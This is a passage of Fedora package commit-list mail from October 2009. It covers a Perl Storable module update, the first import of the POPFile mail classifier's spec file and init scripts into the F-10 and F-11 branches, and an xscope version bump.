             RESTRICTED_HASH_CROAK();
@@ -5336,7 +5342,7 @@ static SV *retrieve_flag_hash(pTHX_ stcx
 #else
                 if (cxt->use_bytes < 0)
                     cxt->use_bytes
-                        = (SvTRUE(perl_get_sv("Storable::drop_utf8", TRUE))
+                        = (SvTRUE(perl_get_sv("Storable::drop_utf8", GV_ADD))
                            ? 1 : 0);
                 if (cxt->use_bytes == 0)
                     UTF8_CROAK();
@@ -5437,14 +5443,14 @@ static SV *retrieve_code(pTHX_ stcxt_t *
 	 */
 
 	if (cxt->eval == NULL) {
-		cxt->eval = perl_get_sv("Storable::Eval", TRUE);
+		cxt->eval = perl_get_sv("Storable::Eval", GV_ADD);
 		SvREFCNT_inc(cxt->eval);
 	}
 	if (!SvTRUE(cxt->eval)) {
 		if (
 			cxt->forgive_me == 0 ||
 			(cxt->forgive_me < 0 && !(cxt->forgive_me =
-				SvTRUE(perl_get_sv("Storable::forgive_me", TRUE)) ? 1 : 0))
+				SvTRUE(perl_get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0))
 		) {
 			CROAK(("Can't eval, please set $Storable::Eval to a true value"));
 		} else {
@@ -5459,7 +5465,7 @@ static SV *retrieve_code(pTHX_ stcxt_t *
 	SAVETMPS;
 
 	if (SvROK(cxt->eval) && SvTYPE(SvRV(cxt->eval)) == SVt_PVCV) {
-		SV* errsv = get_sv("@", TRUE);
+		SV* errsv = get_sv("@", GV_ADD);
 		sv_setpvn(errsv, "", 0);	/* clear $@ */
 		PUSHMARK(sp);
 		XPUSHs(sv_2mortal(newSVsv(sub)));
@@ -5771,7 +5777,7 @@ static SV *magic_check(pTHX_ stcxt_t *cx
             if (cxt->accept_future_minor < 0)
                 cxt->accept_future_minor
                     = (SvTRUE(perl_get_sv("Storable::accept_future_minor",
-                                          TRUE))
+                                          GV_ADD))
                        ? 1 : 0);
             if (cxt->accept_future_minor == 1)
                 croak_now = 0;  /* Don't croak yet.  */
@@ -5808,7 +5814,7 @@ static SV *magic_check(pTHX_ stcxt_t *cx
 #ifdef USE_56_INTERWORK_KLUDGE
     /* No point in caching this in the context as we only need it once per
        retrieve, and we need to recheck it each read.  */
-    if (SvTRUE(perl_get_sv("Storable::interwork_56_64bit", TRUE))) {
+    if (SvTRUE(perl_get_sv("Storable::interwork_56_64bit", GV_ADD))) {
         if ((c != (sizeof (byteorderstr_56) - 1))
             || memNE(buf, byteorderstr_56, c))
             CROAK(("Byte order is not compatible"));
@@ -5942,7 +5948,7 @@ static SV *retrieve(pTHX_ stcxt_t *cxt, 
             if (cxt->accept_future_minor < 0)
                 cxt->accept_future_minor
                     = (SvTRUE(perl_get_sv("Storable::accept_future_minor",
-                                          TRUE))
+                                          GV_ADD))
                        ? 1 : 0);
             if (cxt->accept_future_minor == 1) {
                 CROAK(("Storable binary image v%d.%d contains data of type %d. "
diff -urpN perl-5.10.0.orig/ext/Storable/hints/hpux.pl perl-5.10.0/ext/Storable/hints/hpux.pl
--- perl-5.10.0.orig/ext/Storable/hints/hpux.pl	1970-01-01 01:00:00.000000000 +0100
+++ perl-5.10.0/ext/Storable/hints/hpux.pl	2009-10-01 13:17:58.000000000 +0200
@@ -0,0 +1,10 @@
+# HP C-ANSI-C has problems in the optimizer for 5.8.x (not for 5.11.x)
+# So drop to -O1 for Storable
+
+use Config;
+
+unless ($Config{gccversion}) {
+    my $optimize = $Config{optimize};
+    $optimize =~ s/(^| )[-+]O[2-9]( |$)/$1+O1$2/ and
+	$self->{OPTIMIZE} = $optimize;
+    }
diff -urpN perl-5.10.0.orig/ext/Storable/t/overload.t perl-5.10.0/ext/Storable/t/overload.t
--- perl-5.10.0.orig/ext/Storable/t/overload.t	2007-12-18 11:47:07.000000000 +0100
+++ perl-5.10.0/ext/Storable/t/overload.t	2009-10-01 13:17:58.000000000 +0200
@@ -25,7 +25,7 @@ sub ok;
 
 use Storable qw(freeze thaw);
 
-print "1..16\n";
+print "1..19\n";
 
 package OVERLOADED;
 
@@ -103,4 +103,17 @@ ok 13, $@ eq "";
 ok 14, ref ($t) eq 'REF';
 ok 15, ref ($$t) eq 'HAS_OVERLOAD';
 ok 16, $$$t eq 'snow';
+
+
+#---
+# blessed reference to overloded object.
+{
+  my $a = bless [88], 'OVERLOADED';
+  my $c = thaw freeze bless \$a, 'main';
+  ok 17, ref $c eq 'main';
+  ok 18, ref $$c eq 'OVERLOADED';
+  ok 19, "$$c" eq "88";
+
+}
+
 1;


Index: perl.spec
===================================================================
RCS file: /cvs/extras/rpms/perl/devel/perl.spec,v
retrieving revision 1.232
retrieving revision 1.233
diff -u -p -r1.232 -r1.233
--- perl.spec	3 Sep 2009 15:29:29 -0000	1.232
+++ perl.spec	1 Oct 2009 12:33:58 -0000	1.233
@@ -7,7 +7,7 @@
 
 Name:           perl
 Version:        %{perl_version}
-Release:        82%{?dist}
+Release:        83%{?dist}
 Epoch:          %{perl_epoch}
 Summary:        Practical Extraction and Report Language
 Group:          Development/Languages
@@ -63,10 +63,6 @@ Patch16:	perl-5.10.0-accessXOK.patch
 # fix function pos to handle unicode correctly
 Patch20:	perl-5.10.0-pos.patch
 
-# Storable segfaults when objects are reblessed rt#33242
-# patches module Storable
-Patch24:    perl-5.10.0-Storable.patch
-
 # Fix crash when localizing a symtab entry rt#52740
 Patch26:    perl-5.10.0-stlocal.patch
 
@@ -250,8 +246,11 @@ Patch120:	perl-update-Compress_Raw_Zlib.
 %define			    Compress_Raw_Zlib 2.020
 Patch121:	perl-update-Scalar-List-Utils.patch
 %define			    Scalar_List_Utils 1.21
-Patch122:   perl-update-Module-Pluggable.patch
+Patch122:	perl-update-Module-Pluggable.patch
 %define             Module_Pluggable_version 3.90
+# Also fixes segfault when objects are reblessed (rt#33242, rhbz#459918)
+Patch123:	perl-update-Storable.patch
+%define             Storable_version 2.21
 
 # Fedora uses links instead of lynx
 # patches File-Fetch and CPAN
@@ -975,7 +974,6 @@ upstream tarball from perl.org.
 %patch15 -p1
 %patch16 -p1
 %patch20 -p1
-%patch24 -p1
 %patch26 -p1
 %patch28 -p1
 %patch29 -p1
@@ -1035,6 +1033,7 @@ upstream tarball from perl.org.
 %patch120 -p1
 %patch121 -p1
 %patch122 -p1
+%patch123 -p1
 # 0-byte files and patch don't seem to agree
 mkdir t/Module_Pluggable/lib/Zot/
 touch t/Module_Pluggable/lib/Zot/.Zork.pm
@@ -1265,7 +1264,6 @@ perl -x patchlevel.h \
 	'Fedora Patch15: Adopt upstream commit for assertion' \
 	'Fedora Patch16: Access permission - rt49003' \
 	'Fedora Patch20: pos function handle unicode correct' \
-	'Fedora Patch24: Storable fix' \
 	'Fedora Patch26: Fix crash when localizing a symtab entry - rt52740' \
 	'33640 Integrate Changes 33399, 33621, 33622, 33623, 33624' \
 	'33881 Integrate Changes 33825, 33826, 33829' \
@@ -1322,6 +1320,7 @@ perl -x patchlevel.h \
 	'Fedora Patch120: Update Compress::Raw::Zlib to %{Compress_Raw_Zlib}' \
 	'Fedora Patch121: Update Scalar-List-Utils to %{Scalar_List_Utils}' \
 	'Fedora Patch122: Update Module-Pluggable to %{Module_Pluggable_version}' \
+	'Fedora Patch123: Update Storable to %{Storable_version}' \
 	'Fedora Patch201: Fedora uses links instead of lynx' \
 	%{nil}
 
@@ -1948,6 +1947,9 @@ TMPDIR="$PWD/tmp" make test
 
 # Old changelog entries are preserved in CVS.
 %changelog
+* Thu Oct  1 2009 Stepan Kasal <skasal at redhat.com> - 4:5.10.0-83
+- update Storable to 2.21
+
 * Mon Aug 31 2009 Chris Weyl <cweyl at alumni.drew.edu> - 4:5.10.0-82
 - update our Test-Simple update to 0.92 (patch by Iain Arnell), #519417
 - update Module-Pluggable to 3.9


--- perl-5.10.0-Storable.patch DELETED ---



From amatubu at fedoraproject.org  Thu Oct  1 12:46:37 2009
From: amatubu at fedoraproject.org (Naoki IIMURA)
Date: Thu,  1 Oct 2009 12:46:37 +0000 (UTC)
Subject: rpms/popfile/F-10 import.log, NONE, 1.1 popfile, NONE,
	1.1 popfile.spec, NONE, 1.1 start_popfile.sh, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001124637.A02F311C00C1@cvs1.fedora.phx.redhat.com>

Author: amatubu

Update of /cvs/pkgs/rpms/popfile/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28614/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log popfile popfile.spec start_popfile.sh 
Log Message:


-  First import to F-10 branch.



--- NEW FILE import.log ---
popfile-1_1_1-3_fc11:F-10:popfile-1.1.1-3.fc11.src.rpm:1254400921


--- NEW FILE popfile ---
#!/bin/sh
#
# ---------------------------------------------------------------------------
#
# Copyright (c) 2001-2009 John Graham-Cumming
#
#   This file is part of POPFile
#
# POPFile is free software; you can redistribute it and/or modify it
# under the terms of verion 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# POPFile is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
# ---------------------------------------------------------------------------

# ===
#
# popfile
#
# A shell script designed to start and stop POPFile from within
# /etc/init.d on *nix systems.
#
# usage: popfile { start | stop | restart | status }
 
##
# RedHat comment block...
#
# chkconfig: - 80 20
# description: POPFile is an automatic mail classification tool. Once \
#              properly set up and trained, it will scan all email as it \
#              arrives and classify it based on your training. You can give \
#              it a simple job, like separating out junk e-mail, or a \
#              complicated one-like filing mail into a dozen folders. Think \
#              of it as a personal assistant for your inbox.
# pidfile: /var/run/popfile.pid
# processname: popfile
##
 
##
# LSB comment block...
#
# The bogus 345 run-levels are a workround for a buggy RedHat chkconfig which
# reads the LSB comment block (incorrectly) as an undocumented 'feature'.
#
### BEGIN INIT INFO
# Provides: popfile
# Required-Start: $network
# Required-Stop: $network
# Short-Description: Start and stop POPFile
# Description: POPFile is an automatic mail classification tool. Once properly
#              set up and trained, it will scan all email as it arrives and
#              classify it based on your training. You can give it a simple
#              job, like separating out junk e-mail, or a complicated one-like
#              filing mail into a dozen folders. Think of it as a personal
#              assistant for your inbox.
### END INIT INFO
##

. /etc/rc.d/init.d/functions

popfile_root=/usr/share/popfile/
popfile_data=/var/lib/popfile/
popfile_piddir=/var/run/
popfile_logdir=/var/log/popfile/

popfile="${popfile_root}start_popfile.sh"
popfile_pid="${popfile_piddir}popfile.pid"
prog="popfile"

lockfile=/var/lock/subsys/${prog}

start() {
    [ -x ${popfile} ] || exit 5
    echo -n "Starting ${prog} as background process: "
    daemon --pidfile=${popfile_pid} ${popfile}
    retval=$?
    echo
    [ "${retval}" -eq 0 ] && touch ${lockfile}
    return ${retval}
}
 
stop() {
    echo -n "Stopping ${prog}: "
 
    killproc -p ${popfile_pid} ${prog}
    retval=$?
    echo
    [ "${retval}" -eq 0 ] && rm -f ${lockfile}
    return ${retval}
}
 
restart() {
    stop
    start
}

reload() {
    restart
}

force_reload() {
    restart
}

rh_status() {
    status -p ${popfile_pid} ${prog}
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}
 
case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
        ;;
esac

exit $?


--- NEW FILE popfile.spec ---
Summary: Automatic Email Classification

Name: popfile
Version: 1.1.1
Release: 3%{?dist}

Group: Applications/Internet

URL: http://getpopfile.org/
License: GPLv2

# BuildRequires:
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
BuildArch: noarch

Source0: http://getpopfile.org/downloads/%{name}-%{version}.zip
Source1: popfile
Source2: start_popfile.sh
# Patch0: no patch

#Requires: perl >= 5.8.1
#Requires: perl(Digest::MD5) perl(MIME::Base64) perl(MIME::QuotedPrint)
#Requires: perl(DBI)
Requires: perl(DBD::SQLite)
#Requires: perl(DBD::SQLite2)
#Requires: perl(Date::Parse) perl(Date::Format)
#Requires: perl(HTML::Template) perl(HTML::Tagset)
Requires: perl(IO::Socket::SSL)
Requires: perl(SOAP::Lite)
Requires: kakasi kakasi-dict perl(Text::Kakasi) perl(Encode)

Requires(post): chkconfig
Requires(preun): chkconfig
Requires(preun): initscripts
Requires(postun): initscripts

%description
POPFile is an automatic mail classification tool. Once properly set up
and trained, it will scan all email as it arrives and classify it
based on your training. You can give it a simple job, like separating
out junk e-mail, or a complicated one-like filing mail into a dozen
folders. Think of it as a personal assistant for your inbox.

%prep

%setup -q -c %{name}-%{version} -T
%{__unzip} -qoa %{SOURCE0}
find . -type f | xargs chmod 0644
%{__cp} -p %{SOURCE1} .
%{__cp} -p %{SOURCE2} .

%build

%install
%{__rm} -rf $RPM_BUILD_ROOT

# popfile program
%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/%{name}

%{__cp} -p -r * $RPM_BUILD_ROOT%{_datadir}/%{name}/
%{__install} -p -m 755 *.pl $RPM_BUILD_ROOT%{_datadir}/%{name}/
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/popfile
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/license
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/v%{version}.change*

# popfile data files
%{__mkdir_p} $RPM_BUILD_ROOT%{_localstatedir}/lib/%{name}
%{__cp} -p stopwords $RPM_BUILD_ROOT%{_localstatedir}/lib/%{name}/

# popfile log directory
%{__mkdir_p} $RPM_BUILD_ROOT%{_localstatedir}/log/%{name}

# start up script
%{__mkdir_p} $RPM_BUILD_ROOT%{_initddir}
%{__install} -p -m 755 popfile $RPM_BUILD_ROOT%{_initddir}/

%{__install} -p -m 755 start_popfile.sh $RPM_BUILD_ROOT%{_datadir}/%{name}/

%clean

%{__rm} -rf $RPM_BUILD_ROOT

%post

/sbin/chkconfig --add %{name}
#/sbin/chkconfig %{name} on
#/sbin/service %{name} start >/dev/null 2>&1
exit 0

%preun

if [ "$1" = 0 ]; then
    /sbin/service %{name} stop >/dev/null 2>&1
    #/sbin/chkconfig %{name} off
    /sbin/chkconfig --del %{name}
fi
exit 0

%postun

if [ "$1" -ge "1" ] ; then
    /sbin/service %{name} condrestart >/dev/null 2>&1 || :
fi
exit 0

%files
%defattr(-,root,root,-)

# popfile program
%{_datadir}/%{name}/

# popfile document files
%doc license
%doc v%{version}.change
%doc v%{version}.change.nihongo

# popfile data files
%dir %{_localstatedir}/lib/%{name}
#%config(missingok) %{_localstatedir}/lib/%{name}/popfile.cfg
#%config(missingok) %{_localstatedir}/lib/%{name}/popfile.db
%config(noreplace) %{_localstatedir}/lib/%{name}/stopwords

# popfile log directory
%dir %{_localstatedir}/log/%{name}

# start up script
%{_initddir}/popfile


%changelog
* Tue Sep 29 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-3
-  moved document files to the appropriate directory
-  removed unnecessary %%pre script
-  simplified the %%files section some more

* Mon Sep 28 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-2
-  removed the license statement
-  updated the release number to "<release number>%%{?dist}" style
-  removed the Vendor/Exclusiveos tags
-  removed the Requires tag for perl itself
-  updated the perl module dependencies to use virtual Provides names
-  added perl(Encode) dependency
-  fixed permission of popfile and start_popfile.sh
-  simplified the %%install section
-  added "-p" option to "install" command and "cp" command to preserve
   timestamps
-  rewrote macros in "%%{name}" style
-  use %%{_initddir} macro instead of %%{_initrddir}
-  added missing Requres(post), Requires(preun) and Requires(postun)
-  commented out '/sbin/service popfile stop' in %%pre script
-  added %%postun script
-  updated the scripts to use "/sbin/service" style
-  updated %%defattr to %%defattr(-,root,root,-) in the %%files section
-  simplified the %%files section
-  popfile init.d script
   updated chkconfig and deleted Default-Start and Default-Stop lines

* Sat Sep 26 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-1.1
-  new upstream version

* Sun Jul 5 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.3.rc3
-  new upstream version

* Mon Jun 22 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.2.rc2
-  new upstream version

* Sat Jun 20 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.1.rc1
-  release 1 for version 1.1.1-RC1



--- NEW FILE start_popfile.sh ---
#!/bin/sh

popfile_root=/usr/share/popfile/
popfile_data=/var/lib/popfile/
popfile_piddir=/var/run/
popfile_logdir=/var/log/popfile/

PARAMS="--set config_piddir=${popfile_piddir} --set logger_logdir=${popfile_logdir}"

export POPFILE_ROOT=${popfile_root}
export POPFILE_USER=${popfile_data}

umask 0027
exec /usr/share/popfile/popfile.pl $PARAMS &> ${logdir}/console.log &



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/popfile/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:51:06 -0000	1.1
+++ .cvsignore	1 Oct 2009 12:46:37 -0000	1.2
@@ -0,0 +1 @@
+popfile-1.1.1.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/popfile/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:51:07 -0000	1.1
+++ sources	1 Oct 2009 12:46:37 -0000	1.2
@@ -0,0 +1 @@
+005bd6c4a39db3489800e0d9552f7993  popfile-1.1.1.zip



From yaneti at fedoraproject.org  Thu Oct  1 12:55:36 2009
From: yaneti at fedoraproject.org (Yanko Kaneti)
Date: Thu,  1 Oct 2009 12:55:36 +0000 (UTC)
Subject: rpms/xscope/devel .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 xscope.spec,
	1.2, 1.3
Message-ID: <20091001125536.923DD11C00C1@cvs1.fedora.phx.redhat.com>

Author: yaneti

Update of /cvs/pkgs/rpms/xscope/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29741

Modified Files:
	.cvsignore sources xscope.spec 
Log Message:
1.2-1
New upstream release. Drop patches.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Jul 2009 05:08:43 -0000	1.2
+++ .cvsignore	1 Oct 2009 12:55:36 -0000	1.3
@@ -1 +1 @@
-xscope-1.1.tar.bz2
+xscope-1.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Jul 2009 05:08:43 -0000	1.2
+++ sources	1 Oct 2009 12:55:36 -0000	1.3
@@ -1 +1 @@
-c37ec177b56d5909584c1672b6beabd5  xscope-1.1.tar.bz2
+1a9df0ac0dd5a2c2a7948dcf48d126c3  xscope-1.2.tar.bz2


Index: xscope.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/devel/xscope.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- xscope.spec	27 Jul 2009 08:44:22 -0000	1.2
+++ xscope.spec	1 Oct 2009 12:55:36 -0000	1.3
@@ -1,21 +1,15 @@
 Name:           xscope
-Version:        1.1
-Release:        4.gitfccbbd6%{?dist}
+Version:        1.2
+Release:        1%{?dist}
 Summary:        X Window Protocol Viewer
 
 Group:          User Interface/X
 License:        MIT
 URL:            http://cgit.freedesktop.org/xorg/app/xscope/
 Source0:        ftp://ftp.freedesktop.org/pub/xorg/individual/app/%{name}-%{version}.tar.bz2
-# git diff --diff-filter=ACMRT xscope-1.1 fccbbd6
-Patch0:         xscope-1.1-diff_to_git.patch
-# to build on Fedora 10 reduce the xorg-macros required version
-Patch1:         xscope-1.1-lessmacros.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  xorg-x11-xtrans-devel, xorg-x11-proto-devel
-# required for the autoreconf
-BuildRequires:  automake, autoconf, xorg-x11-util-macros
 
 %description
 xscope sits in-between an X11 client and an X11 server and prints the contents
@@ -26,10 +20,6 @@ servers and clients.
 
 %prep
 %setup -q
-%patch0 -p1 -b .diff_to_git
-%patch1 -p1 -b .lessmacros
-# required for changes in patch0 and patch1
-autoreconf -f
 
 %build
 %configure
@@ -53,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Yanko Kaneti <yaneti at declera.com> 1.2-1
+- New upstream release. Drop patches.
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-4.gitfccbbd6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From amatubu at fedoraproject.org  Thu Oct  1 12:57:02 2009
From: amatubu at fedoraproject.org (Naoki IIMURA)
Date: Thu,  1 Oct 2009 12:57:02 +0000 (UTC)
Subject: rpms/popfile/F-11 import.log, NONE, 1.1 popfile, NONE,
	1.1 popfile.spec, NONE, 1.1 start_popfile.sh, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001125702.A1AA011C00C1@cvs1.fedora.phx.redhat.com>

Author: amatubu

Update of /cvs/pkgs/rpms/popfile/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30734/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log popfile popfile.spec start_popfile.sh 
Log Message:

-  First import to F-11 branch.



--- NEW FILE import.log ---
popfile-1_1_1-3_fc11:F-11:popfile-1.1.1-3.fc11.src.rpm:1254401694


--- NEW FILE popfile ---
#!/bin/sh
#
# ---------------------------------------------------------------------------
#
# Copyright (c) 2001-2009 John Graham-Cumming
#
#   This file is part of POPFile
#
# POPFile is free software; you can redistribute it and/or modify it
# under the terms of verion 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# POPFile is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
# ---------------------------------------------------------------------------

# ===
#
# popfile
#
# A shell script designed to start and stop POPFile from within
# /etc/init.d on *nix systems.
#
# usage: popfile { start | stop | restart | status }
 
##
# RedHat comment block...
#
# chkconfig: - 80 20
# description: POPFile is an automatic mail classification tool. Once \
#              properly set up and trained, it will scan all email as it \
#              arrives and classify it based on your training. You can give \
#              it a simple job, like separating out junk e-mail, or a \
#              complicated one-like filing mail into a dozen folders. Think \
#              of it as a personal assistant for your inbox.
# pidfile: /var/run/popfile.pid
# processname: popfile
##
 
##
# LSB comment block...
#
# The bogus 345 run-levels are a workround for a buggy RedHat chkconfig which
# reads the LSB comment block (incorrectly) as an undocumented 'feature'.
#
### BEGIN INIT INFO
# Provides: popfile
# Required-Start: $network
# Required-Stop: $network
# Short-Description: Start and stop POPFile
# Description: POPFile is an automatic mail classification tool. Once properly
#              set up and trained, it will scan all email as it arrives and
#              classify it based on your training. You can give it a simple
#              job, like separating out junk e-mail, or a complicated one-like
#              filing mail into a dozen folders. Think of it as a personal
#              assistant for your inbox.
### END INIT INFO
##

. /etc/rc.d/init.d/functions

popfile_root=/usr/share/popfile/
popfile_data=/var/lib/popfile/
popfile_piddir=/var/run/
popfile_logdir=/var/log/popfile/

popfile="${popfile_root}start_popfile.sh"
popfile_pid="${popfile_piddir}popfile.pid"
prog="popfile"

lockfile=/var/lock/subsys/${prog}

start() {
    [ -x ${popfile} ] || exit 5
    echo -n "Starting ${prog} as background process: "
    daemon --pidfile=${popfile_pid} ${popfile}
    retval=$?
    echo
    [ "${retval}" -eq 0 ] && touch ${lockfile}
    return ${retval}
}
 
stop() {
    echo -n "Stopping ${prog}: "
 
    killproc -p ${popfile_pid} ${prog}
    retval=$?
    echo
    [ "${retval}" -eq 0 ] && rm -f ${lockfile}
    return ${retval}
}
 
restart() {
    stop
    start
}

reload() {
    restart
}

force_reload() {
    restart
}

rh_status() {
    status -p ${popfile_pid} ${prog}
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}
 
case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
        ;;
esac

exit $?


--- NEW FILE popfile.spec ---
Summary: Automatic Email Classification

Name: popfile
Version: 1.1.1
Release: 3%{?dist}

Group: Applications/Internet

URL: http://getpopfile.org/
License: GPLv2

# BuildRequires:
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
BuildArch: noarch

Source0: http://getpopfile.org/downloads/%{name}-%{version}.zip
Source1: popfile
Source2: start_popfile.sh
# Patch0: no patch

#Requires: perl >= 5.8.1
#Requires: perl(Digest::MD5) perl(MIME::Base64) perl(MIME::QuotedPrint)
#Requires: perl(DBI)
Requires: perl(DBD::SQLite)
#Requires: perl(DBD::SQLite2)
#Requires: perl(Date::Parse) perl(Date::Format)
#Requires: perl(HTML::Template) perl(HTML::Tagset)
Requires: perl(IO::Socket::SSL)
Requires: perl(SOAP::Lite)
Requires: kakasi kakasi-dict perl(Text::Kakasi) perl(Encode)

Requires(post): chkconfig
Requires(preun): chkconfig
Requires(preun): initscripts
Requires(postun): initscripts

%description
POPFile is an automatic mail classification tool. Once properly set up
and trained, it will scan all email as it arrives and classify it
based on your training. You can give it a simple job, like separating
out junk e-mail, or a complicated one-like filing mail into a dozen
folders. Think of it as a personal assistant for your inbox.

%prep

%setup -q -c %{name}-%{version} -T
%{__unzip} -qoa %{SOURCE0}
find . -type f | xargs chmod 0644
%{__cp} -p %{SOURCE1} .
%{__cp} -p %{SOURCE2} .

%build

%install
%{__rm} -rf $RPM_BUILD_ROOT

# popfile program
%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/%{name}

%{__cp} -p -r * $RPM_BUILD_ROOT%{_datadir}/%{name}/
%{__install} -p -m 755 *.pl $RPM_BUILD_ROOT%{_datadir}/%{name}/
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/popfile
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/license
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/v%{version}.change*

# popfile data files
%{__mkdir_p} $RPM_BUILD_ROOT%{_localstatedir}/lib/%{name}
%{__cp} -p stopwords $RPM_BUILD_ROOT%{_localstatedir}/lib/%{name}/

# popfile log directory
%{__mkdir_p} $RPM_BUILD_ROOT%{_localstatedir}/log/%{name}

# start up script
%{__mkdir_p} $RPM_BUILD_ROOT%{_initddir}
%{__install} -p -m 755 popfile $RPM_BUILD_ROOT%{_initddir}/

%{__install} -p -m 755 start_popfile.sh $RPM_BUILD_ROOT%{_datadir}/%{name}/

%clean

%{__rm} -rf $RPM_BUILD_ROOT

%post

/sbin/chkconfig --add %{name}
#/sbin/chkconfig %{name} on
#/sbin/service %{name} start >/dev/null 2>&1
exit 0

%preun

if [ "$1" = 0 ]; then
    /sbin/service %{name} stop >/dev/null 2>&1
    #/sbin/chkconfig %{name} off
    /sbin/chkconfig --del %{name}
fi
exit 0

%postun

if [ "$1" -ge "1" ] ; then
    /sbin/service %{name} condrestart >/dev/null 2>&1 || :
fi
exit 0

%files
%defattr(-,root,root,-)

# popfile program
%{_datadir}/%{name}/

# popfile document files
%doc license
%doc v%{version}.change
%doc v%{version}.change.nihongo

# popfile data files
%dir %{_localstatedir}/lib/%{name}
#%config(missingok) %{_localstatedir}/lib/%{name}/popfile.cfg
#%config(missingok) %{_localstatedir}/lib/%{name}/popfile.db
%config(noreplace) %{_localstatedir}/lib/%{name}/stopwords

# popfile log directory
%dir %{_localstatedir}/log/%{name}

# start up script
%{_initddir}/popfile


%changelog
* Tue Sep 29 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-3
-  moved document files to the appropriate directory
-  removed unnecessary %%pre script
-  simplified the %%files section some more

* Mon Sep 28 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-2
-  removed the license statement
-  updated the release number to "<release number>%%{?dist}" style
-  removed the Vendor/Exclusiveos tags
-  removed the Requires tag for perl itself
-  updated the perl module dependencies to use virtual Provides names
-  added perl(Encode) dependency
-  fixed permission of popfile and start_popfile.sh
-  simplified the %%install section
-  added "-p" option to "install" command and "cp" command to preserve
   timestamps
-  rewrote macros in "%%{name}" style
-  use %%{_initddir} macro instead of %%{_initrddir}
-  added missing Requres(post), Requires(preun) and Requires(postun)
-  commented out '/sbin/service popfile stop' in %%pre script
-  added %%postun script
-  updated the scripts to use "/sbin/service" style
-  updated %%defattr to %%defattr(-,root,root,-) in the %%files section
-  simplified the %%files section
-  popfile init.d script
   updated chkconfig and deleted Default-Start and Default-Stop lines

* Sat Sep 26 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-1.1
-  new upstream version

* Sun Jul 5 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.3.rc3
-  new upstream version

